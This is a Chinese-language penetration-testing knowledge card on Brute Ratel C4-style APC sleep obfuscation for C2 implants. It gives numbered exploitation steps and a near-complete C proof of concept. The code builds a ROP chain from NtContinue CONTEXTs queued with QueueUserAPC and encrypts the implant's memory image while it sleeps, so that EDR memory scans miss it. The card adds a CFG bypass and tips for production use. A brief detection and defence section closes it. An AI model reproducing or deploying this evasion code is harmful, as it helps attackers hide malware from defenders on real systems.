♧ Godown 安全知识树

Brute Ratel C4 式 APC 睡眠混淆:从 TpReleaseCleanupGroupMembers+0x450 线程取 CONTEXT,用 QueueUserAPC(NtContinue) 驱动 ROP 加密镜像

pentest/c2 · verified

一句话结论

攻击者在目标进程内创建一个起始地址为 ntdll!TpReleaseCleanupGroupMembers+0x450 的挂起线程并取其 CONTEXT 作为模板,复制出 7 份分别把 Rip 指向 WaitForSingleObject、VirtualProtect、SystemFunction032、WaitForSingleObjectEx、SystemFunction032、VirtualProtect、RtlExitUserThread,再以 QueueUserAPC(NtContinue) 依次挂到该线程并 NtAlertResumeThread,即可在睡眠期间把整个映像加密成密文、醒来后解密恢复,规避基于内存特征的内存扫描;这条链正是 Brute Ratel C4 Badger 的 APC 睡眠混淆实现方式。

原理

  • 为什么需要睡眠混淆:带内存扫描的 AV/EDR 会在进程睡眠时枚举可执行页并匹配 beacon 特征。若睡眠期间载荷仍是明文,静态内存特征会暴露。睡眠混淆在睡眠窗口内加密载荷所在内存,唤醒前再解密,使扫描只能看到密文。
  • 为什么用 APC 而不是定时器:CreateTimerQueueTimer 方案(Ekko)依赖系统线程池回调;APC 方案把 ROP 链挂到目标线程的 APC 队列,由 NtContinue 恢复预置的 CONTEXT 来执行。APC 路径不依赖定时器队列,能避开只关注定时器 API 的检测规则。
  • 取“正常” CONTEXT:直接 RtlCaptureContext 得到的上下文带有当前调用栈的痕迹。Badger 的做法是 CreateThread 一个挂起线程,起始地址设为 GetProcAddress(ntdll!TpReleaseCleanupGroupMembers) + 0x450——一个位于 ntdll 线程池清理逻辑中的地址,使该线程看起来像正常的系统线程池线程;随后 GetThreadContext 取得该线程的寄存器快照,作为所有 ROP CONTEXT 的模板,兼顾堆栈欺骗。
  • CONTEXT + NtContinue 即 ROP:x64 下 NtContinue(ctx, 0) 会用 CONTEXT 恢复全部寄存器,包括 Rip;Rcx/Rdx/R8/R9 正好对应 Windows x64 前四个参数,Rsp 指向的返回地址决定函数返回后的去向。因此把 Rip 换成目标函数、参数写进对应寄存器,就得到一段“由系统 API 代执行”的 ROP。
  • 返回地址填 NtTestAlert:每个 CONTEXT 的 *(PULONG64)Rsp 都写入 NtTestAlert 地址。目标函数返回后跳到 NtTestAlert,后者检查并执行当前线程 APC 队列中的下一个 APC,从而让 7 段 ROP 依次衔接,而不需要在被加密的镜像里保留调度代码。
  • 加密算法:Advapi32!SystemFunction032 是未导出的 RC4 实现,参数为两个 USTRING(待处理内存与密钥)。睡眠前用它对 ImageBase..ImageBase+SizeOfImage 整段加密,唤醒后用同一密钥解密。固定密钥会令每次加密结果相同;也可改用 SystemFunction040(RtlEncryptMemory)/SystemFunction041(RtlDecryptMemory),由系统内部派生、每次随机的密钥加解密,使用更方便且密文不重复。
  • 同步与退出:第一段 ROP 是 WaitForSingleObject(StartEventHandle, INFINITE),让 APC 链先阻塞;主线程在所有 APC 入队后调用 NtSignalAndWaitForSingleObject(StartEventHandle, ThreadHandle, ...),一方面置事件放行 ROP 链,一方面等待线程退出。最后一段 RtlExitUserThread(0) 结束该线程。
  • 与整镜像加密的边界:该实现加密的是整个当前映像(SizeOfImage)。在真实 C2 中不能无条件加密全部内存——keylogger 等持久化任务依赖的代码/数据若被加密会崩溃;Cobalt Strike 4.4 起的 Sleep Mask 只选择性加密特征、堆内存和 Sleep Mask 自身代码,后续还加入堆栈欺骗与动态生成 Sleep Mask。

触发条件

  • 目标为 Windows x64,攻击者已在某进程内取得代码执行,且能调用 CreateThread、GetThreadContext、QueueUserAPC、NtAlertResumeThread、NtSignalAndWaitForSingleObject、VirtualProtect 等 API。
  • 目标进程映像可被 VirtualProtect 修改保护属性;SystemFunction032/SystemFunction040 可从 Advapi32 动态解析调用。
  • 进程未启用会拦截该 API 组合的 EDR 行为策略;若进程启用了 CFG,还需先绕过 CFG(否则 NtContinue 作为 APC 回调会触发 STATUS_STACK_BUFFER_OVERRUN,见关联卡)。
  • 睡眠时间明显长于加解密与 APC 调度开销(通常数秒级)才有规避收益。
  • 加密范围需要与载荷自身的内存布局匹配:若载荷是 SRDI/反射加载的模块,GetModuleHandle(NULL) 可能指向 loader 而非载荷,需显式传入载荷基址。

利用步骤

  1. 解析 ntdll!TpReleaseCleanupGroupMembers,加上偏移 0x450,以 CREATE_SUSPENDED 创建线程,得到一个起始地址位于 ntdll 线程池代码的挂起线程。
  2. GetThreadContext 取该线程的 CONTEXT,复制成 7 份:RopWaitFor、RopProtRW、RopMemEnc、RopSleep、RopMemDec、RopProtRX、RopRtlEtTd。
  3. 构造 7 段 ROP(每段都把 *(PULONG64)Rsp 写成 NtTestAlert 地址): - WaitForSingleObject(StartEventHandle, INFINITE); - VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &oldProtect); - SystemFunction032(&Image, &Key) 加密; - WaitForSingleObjectEx((HANDLE)-1, SleepTimes*1000, FALSE) 等待睡眠时长; - VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &oldProtect); - SystemFunction032(&Image, &Key) 解密; - RtlExitUserThread(0)。
  4. 用 QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopX) 把 7 个 CONTEXT 依次挂入队列(先 WaitFor,最后 RtlExitUserThread)。
  5. NtAlertResumeThread(hThread, &SuspendCount) 恢复线程并触发 APC;主线程 NtSignalAndWaitForSingleObject(StartEventHandle, hThread, FALSE, NULL) 置事件并等待线程结束。
  6. 事件置位后 ROP 链开始执行:改 RW → 加密 → 睡眠 → 改 RWX → 解密 → 退出;主线程继续运行,睡眠窗口内整段映像为密文。
  7. 若需要更强的隐蔽性,把固定 RC4 换成 SystemFunction040/SystemFunction041 的随机密钥;若目标进程启用 CFG,先调用 SetProcessValidCallTargets 把 NtContinue、NtTestAlert、RtlExitUserThread 加入 CFG 允许列表。

PoC

以下为核心实现(Demo 级,省略错误处理与部分头文件;原文已编译演示并展示加密后的内存视图):

LPVOID pNtTestAlert = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
LPVOID TpReleaseCleanupGroupMembers_450 =
    (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseCleanupGroupMembers") + 0x450;

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, TpReleaseCleanupGroupMembers_450,
                              NULL, CREATE_SUSPENDED, &dwThreadId);

CONTEXT CtxThread = {0}, RopWaitFor, RopProtRW, RopMemEnc, RopSleep, RopMemDec, RopProtRX, RopRtlEtTd;
GetThreadContext(hThread, &CtxThread);
memcpy(&RopWaitFor, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRW,  &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc,  &CtxThread, sizeof(CONTEXT));
memcpy(&RopSleep,   &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec,  &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX,  &CtxThread, sizeof(CONTEXT));
memcpy(&RopRtlEtTd, &CtxThread, sizeof(CONTEXT));

PVOID ImageBase = GetModuleHandleA(NULL);
DWORD ImageSize = ((PIMAGE_NT_HEADERS)((PBYTE)ImageBase +
    ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
USTRING Image = { ImageSize, ImageSize, ImageBase };
USTRING Key   = { 16, 16, key16 };
DWORD oldProtect = 0;
HANDLE StartEventHandle = CreateEventW(NULL, TRUE, FALSE, NULL);

RopWaitFor.Rcx = (ULONG64)StartEventHandle;
RopWaitFor.Rdx = INFINITE;
*(PULONG64)RopWaitFor.Rsp = (ULONG64)pNtTestAlert;
RopWaitFor.Rip = (ULONG64)WaitForSingleObject;

RopProtRW.Rcx = (ULONG64)ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8  = PAGE_READWRITE;
RopProtRW.R9  = (ULONG64)&oldProtect;
*(PULONG64)RopProtRW.Rsp = (ULONG64)pNtTestAlert;
RopProtRW.Rip = (ULONG64)VirtualProtect;

RopMemEnc.Rcx = (ULONG64)&Image;
RopMemEnc.Rdx = (ULONG64)&Key;
RopMemEnc.Rip = (ULONG64)SystemFunction032;
*(PULONG64)RopMemEnc.Rsp = (ULONG64)pNtTestAlert;

RopSleep.Rcx = (ULONG64)-1;
RopSleep.Rdx = SleepTimes * 1000;
RopSleep.R8  = FALSE;
RopSleep.Rip = (ULONG64)WaitForSingleObjectEx;
*(PULONG64)RopSleep.Rsp = (ULONG64)pNtTestAlert;

RopProtRX.Rcx = (ULONG64)ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8  = PAGE_EXECUTE_READWRITE;
RopProtRX.R9  = (ULONG64)&oldProtect;
RopProtRX.Rip = (ULONG64)VirtualProtect;
*(PULONG64)RopProtRX.Rsp = (ULONG64)pNtTestAlert;

RopMemDec.Rcx = (ULONG64)&Image;
RopMemDec.Rdx = (ULONG64)&Key;
RopMemDec.Rip = (ULONG64)SystemFunction032;
*(PULONG64)RopMemDec.Rsp = (ULONG64)pNtTestAlert;

RopRtlEtTd.Rcx = 0;
RopRtlEtTd.Rip = (ULONG64)RtlExitUserThread;
*(PULONG64)RopRtlEtTd.Rsp = (ULONG64)pNtTestAlert;

QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopWaitFor);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopProtRW);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopMemEnc);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopSleep);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopProtRX);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopMemDec);
QueueUserAPC((PAPCFUNC)NtContinue, hThread, (ULONG_PTR)&RopRtlEtTd);

ULONG SuspendCount = 0;
NtAlertResumeThread(hThread, &SuspendCount);
NtSignalAndWaitForSingleObject(StartEventHandle, hThread, FALSE, NULL);

变体与关联

  • 变体(堆栈欺骗):Badger 的完整 ROP 链还会调用 ZwGetContextThread → ZwSetContextThread 备份构造 ROP 的线程上下文、换入 fake CONTEXT,睡眠结束后再还原,用于伪造调用栈;上述 Demo 未包含这一段。
  • 变体(随机密钥):用 SystemFunction040(RtlEncryptMemory)加密、SystemFunction041(RtlDecryptMemory)解密,密钥由系统内部派生且每次随机,避免固定密钥导致密文重复。
  • 变体(C2 集成):不要无条件加密整个进程内存。Cobalt Strike 4.4 起 Sleep Mask 从加密特征字符串逐步扩展到 beacon 堆内存与 Sleep Mask 自身代码;Ekko 出现后支持“加密自己的睡眠代码”,以规避 Elastic 等针对默认 Sleep Mask 的 YARA 规则;后续还有堆栈欺骗、基于 LLVM 的动态 Sleep Mask 与 BeaconGate。
  • 关联:[[pentest-c2-ekko-timer-queue-sleep-obfuscation]](定时器队列路线,结构相似但调度器不同)、[[pentest-c2-cfg-allowlist-setprocessvalidcalltargets]](本方案在 CFG 进程中的前置绕过)、[[pentest-c2-srdi-sleep-obfuscation-image-base-layout]](载荷经 SRDI 时基址/PE 头问题)、[[pentest-c2-shellcode-loader-rx-sleep-etw-encryption]](简单睡眠加密)。
  • 边界:原文为演示实现,固定密钥、整镜像加密,未实现堆栈欺骗与选择性加密;生产使用需自行补齐错误处理、上下文一致性与清理逻辑。

检测与防御

  • 检测 APC 异常:监控 QueueUserAPC 回调指向 NtContinue、NtTestAlert,且 APC 参数指向 CONTEXT 结构;关注挂起线程起始地址落在 ntdll!TpReleaseCleanupGroupMembers+0x450 等非正常入口的线程。
  • 检测内存行为:监控 VirtualProtect 周期性把整个映像在 PAGE_READWRITE/PAGE_EXECUTE_READWRITE 间切换,睡眠前后镜像内容大面积变化;扫描 SystemFunction032/SystemFunction040 的动态解析与调用。
  • 检测线程/调用栈:监控 NtAlertResumeThread、NtSignalAndWaitForSingleObject 与 APC 组合;核对线程调用栈是否指向 ntdll 中不合理的偏移(堆栈欺骗的破绽)。
  • 内存扫描策略:在进程唤醒窗口或解密后抓取明文;结合内核回调、ETW Threat Intelligence、调用栈校验,不只依赖单点内存特征。
  • 防御:启用 HVCI/CET 等更强缓解,限制未签名二进制执行与内存保护修改;对睡眠混淆常见 API 序列做行为告警;该技术仅应在授权测试环境使用。